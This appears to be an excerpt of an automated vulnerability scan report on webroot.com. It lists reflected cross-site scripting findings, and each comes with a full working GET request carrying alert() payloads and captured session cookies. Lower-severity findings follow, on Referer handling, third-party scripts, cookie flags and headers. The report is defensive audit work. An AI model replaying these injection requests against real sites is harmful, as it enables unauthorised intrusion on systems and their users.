GET /En_US/case-study/saas-technology-cloud-computing.html?8c3b3"><script>alert(1)</script>4078136ea2c=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
1.15. http://www.webroot.com/En_US/case-study/web-email-security-TTCU.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/web-email-security-TTCU.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5364"><script>alert(1)</script>5d3b3a60c04 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/web-email-security-TTCU.html?b5364"><script>alert(1)</script>5d3b3a60c04=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
1.16. http://www.webroot.com/En_US/case-study/web-email-security-TTCU.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/web-email-security-TTCU.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 888fb"-alert(1)-"36b8ce0e9e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/web-email-security-TTCU.html?888fb"-alert(1)-"36b8ce0e9e3=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... ipt type="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/web-email-security-TTCU.html?888fb"-alert(1)-"36b8ce0e9e3=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.17. http://www.webroot.com/En_US/case-study/web-security-supreme-court-georgia.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c09b7"><script>alert(1)</script>4c5e9a3937 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/web-security-supreme-court-georgia.html?c09b7"><script>alert(1)</script>4c5e9a3937=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4995b"-alert(1)-"73faef56208 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/web-security-supreme-court-georgia.html?4995b"-alert(1)-"73faef56208=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... ext/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/web-security-supreme-court-georgia.html?4995b"-alert(1)-"73faef56208=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.19. http://www.webroot.com/En_US/case-study/web-security-toshiba.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/web-security-toshiba.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17a07"><script>alert(1)</script>f734556fb19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/web-security-toshiba.html?17a07"><script>alert(1)</script>f734556fb19=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
1.20. http://www.webroot.com/En_US/case-study/web-security-toshiba.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/web-security-toshiba.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c9662"-alert(1)-"bbfc101f977 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/web-security-toshiba.html?c9662"-alert(1)-"bbfc101f977=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... script type="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/web-security-toshiba.html?c9662"-alert(1)-"bbfc101f977=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 128fc<img%20src%3da%20onerror%3dalert(1)>d0f95acf3b5 was submitted in the REST URL parameter 3. This input was echoed as 128fc<img src=a onerror=alert(1)>d0f95acf3b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /En_US/about-press-room-in-the-news.html HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /js/om_sc.js HTTP/1.1 Host: www.webroot.com Proxy-Connection: keep-alive Referer: http://www.webroot.com/En_US/land-ss-promo-freescan.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WRSID=53806c0679aadc2e5c9ced35171f7aa7; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=check#true#1303044984|session#1303044923199-20205#1303046784|PC#1303044923199-20205.17#1318856127
/** * SiteCatalyst code version: H.20.3 * Copyright 1997-2009 Omniture, Inc. More info available at * http://www.omniture.com */ // activeReportGateway is prod // GlobalSuite is webrootglobalprod
...[SNIP]... s.eVar48="557353914";
s.prop5="0";
s.eVar5="0";
s.prop6="0";
s.eVar6="0";
s.prop15="/En_US/land-ss-promo-freescan.html";
s.prop25=s.getNewRepeat();
s.eVar36=s.getNewRepeat();
s.prop19=s.getDaysSinceLastVisit('s_lv');
s.eVar26=s.getDaysSinceLastVisit('s_lv');
s.prop23=s.getVisitNum();
s.eVar27=s.getVisitNum();
s.prop20=s_timepart.toLowerCase();
s.eVar41=s_timepart.toLowerCase();
s.prop24=s.getTimeToComplete(s.ttc,'ttc',0);
s.eVar29=s.getTimeToComplete(s.ttc,'ttc',0);
/* WARNING: Changing any of the below variables will cause drastic changes to how your visitor data is collected. Changes should only be made when instructed to do so by your account manager.*/ s.visitorNamespace="webroot" s.trackingServer="osc.webroot.com" s.trackingServerSecure="sosc.webroot.com" s.dc="112"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code='',s_objectID;function s_gi(un,pg,ss){var c="s._c='s_c';s.wd=window;if(!s.wd.s_c_in){s.wd.s_c_il=new Array;s.wd.s_c_in=0;}s._il=s.wd.s_c_il;s._in=s.wd.s_c_in;s._il[s._in]=s;s.wd.s_c_in++;s" +".an=s_an;s.cls=function(x,c){var i,y='';if(!c)c=this.an;for(i=0;i<x.length;i++){n=x.substring(i,i+1);if(c.indexOf(n)>=0)y+=n}return y};s.fl=function(x,l){return x?(''+x).substring(0,l):x};s.co=func" +"tion(o){if(!o)return o;var n=new Object,x;for(x in o)if(x.indexOf('select')<0&&x.indexOf('filter')<0)n[x]=o[x];return n};s.num=function(x){x=''+x;for(var p=0;p<x.length;p++)if(('0123456789').indexO" +"f(x.substring(p,p+1))<0)return 0;return 1};s.rep=s_rep;s.sp=s_sp;s.jn=s_jn;s.ape=function(x){var s=this,h='0123456789ABCDEF',i,c=s.charSet,n,l,e,y='';c=c?c.toUpperCase():'';if(x){x=''+x;if(s.em==3)" +"return encodeURIComponent(x);else if(c=='AUTO' ...[SNIP]...
Request 2
GET /js/om_sc.js HTTP/1.1 Host: www.webroot.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WRSID=53806c0679aadc2e5c9ced35171f7aa7; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=check#true#1303044984|session#1303044923199-20205#1303046784|PC#1303044923199-20205.17#1318856127
/** * SiteCatalyst code version: H.20.3 * Copyright 1997-2009 Omniture, Inc. More info available at * http://www.omniture.com */ // activeReportGateway is prod // GlobalSuite is webrootglobalprod
...[SNIP]... s.eVar48="557353914";
s.prop5="0";
s.eVar5="0";
s.prop6="0";
s.eVar6="0";
s.prop25=s.getNewRepeat();
s.eVar36=s.getNewRepeat();
s.prop19=s.getDaysSinceLastVisit('s_lv');
s.eVar26=s.getDaysSinceLastVisit('s_lv');
s.prop23=s.getVisitNum();
s.eVar27=s.getVisitNum();
s.prop20=s_timepart.toLowerCase();
s.eVar41=s_timepart.toLowerCase();
s.prop24=s.getTimeToComplete(s.ttc,'ttc',0);
s.eVar29=s.getTimeToComplete(s.ttc,'ttc',0);
/* WARNING: Changing any of the below variables will cause drastic changes to how your visitor data is collected. Changes should only be made when instructed to do so by your account manager.*/ s.visitorNamespace="webroot" s.trackingServer="osc.webroot.com" s.trackingServerSecure="sosc.webroot.com" s.dc="112"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code='',s_objectID;function s_gi(un,pg,ss){var c="s._c='s_c';s.wd=window;if(!s.wd.s_c_in){s.wd.s_c_il=new Array;s.wd.s_c_in=0;}s._il=s.wd.s_c_il;s._in=s.wd.s_c_in;s._il[s._in]=s;s.wd.s_c_in++;s" +".an=s_an;s.cls=function(x,c){var i,y='';if(!c)c=this.an;for(i=0;i<x.length;i++){n=x.substring(i,i+1);if(c.indexOf(n)>=0)y+=n}return y};s.fl=function(x,l){return x?(''+x).substring(0,l):x};s.co=func" +"tion(o){if(!o)return o;var n=new Object,x;for(x in o)if(x.indexOf('select')<0&&x.indexOf('filter')<0)n[x]=o[x];return n};s.num=function(x){x=''+x;for(var p=0;p<x.length;p++)if(('0123456789').indexO" +"f(x.substring(p,p+1))<0)return 0;return 1};s.rep=s_rep;s.sp=s_sp;s.jn=s_jn;s.ape=function(x){var s=this,h='0123456789ABCDEF',i,c=s.charSet,n,l,e,y='';c=c?c.toUpperCase():'';if(x){x=''+x;if(s.em==3)" +"return encodeURIComponent(x);else if(c=='AUTO'&&('').charCodeAt){for(i=0;i<x.length;i++){c=x.substring(i,i+1);n=x.cha ...[SNIP]...
4. Cross-domain script includepreviousnext There are 36 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /En_US/land-ss-promo-freescan.html HTTP/1.1 Host: www.webroot.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
/** * SiteCatalyst code version: H.20.3 * Copyright 1997-2009 Omniture, Inc. More info available at * http://www.omniture.com */ // activeReportGateway is prod // GlobalSuite is webrootglobalprod
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
/** * SiteCatalyst code version: H.20.3 * Copyright 1997-2009 Omniture, Inc. More info available at * http://www.omniture.com */ // activeReportGateway is prod // GlobalSuite is webrootglobalprod